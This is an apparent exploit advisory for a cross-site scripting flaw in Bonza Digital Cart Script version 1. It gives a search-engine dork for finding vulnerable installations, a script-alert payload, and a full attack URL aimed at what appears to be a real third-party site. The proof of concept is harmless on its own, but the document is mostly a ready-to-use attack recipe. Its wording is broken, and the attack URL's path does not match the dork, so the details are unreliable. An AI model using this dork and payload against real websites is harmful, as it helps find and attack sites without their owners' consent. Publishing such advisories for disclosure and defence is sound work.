Bonza Digital Cart Script 1 Cross Site Scripting

======================================== ============================================================================================================================
| # Title : Bonza Digital Cart Script version 1 XSS Vulnerability |
| # Author : indoushka |
| # email : indoushka4ever@gmail.com |
| # Tested on : windows 10 FranASSais V.(Pro) |
| # Version : 1 |
| # Vendor : http://www.turnkeycentral.com/scripts/bonza-digital-cart-script/ |
| # Dork : "cms_pages.php?pn=Disclaimer" |
============================================================================================================================

poc :


[+] Dorking Adegn Google Or Other Search Enggine

[+] use payload : <script>alert(/indoushka/);</script>

http://jofu.bplaced.net//re.php?opt4&id=1%27%22()%26%25%3Cscript%3Ealert(/indoushka/);%3C/script%3E

Greetz :----------------------------------------------------------------------------------------
|
jericho * Larry W. Cashdollar * shadow0075 * djroot.dz *Gjoko 'LiquidWorm' Krstic |
|
================================================================================================